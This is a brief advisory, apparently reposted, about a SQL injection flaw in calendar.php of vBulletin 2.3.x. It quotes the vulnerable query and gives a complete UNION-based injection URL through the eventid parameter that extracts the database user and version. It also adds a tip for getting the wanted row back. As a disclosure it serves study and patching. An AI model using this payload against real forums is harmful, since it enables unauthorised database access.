vbulletin forum 2.3.xx sql injection there exist a sql injection problem in calendar.php.
-------- cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $db_site->query_first("select allowsmilies,public,userid,
eventdate,event,subject from calendar_events where eventid = $eventid");
-----------------------------------------------------
if the mysql version is greater than 4.00, a union attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20from%20calendar_ev
ents%20where%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
the query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
【说明】:本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:)!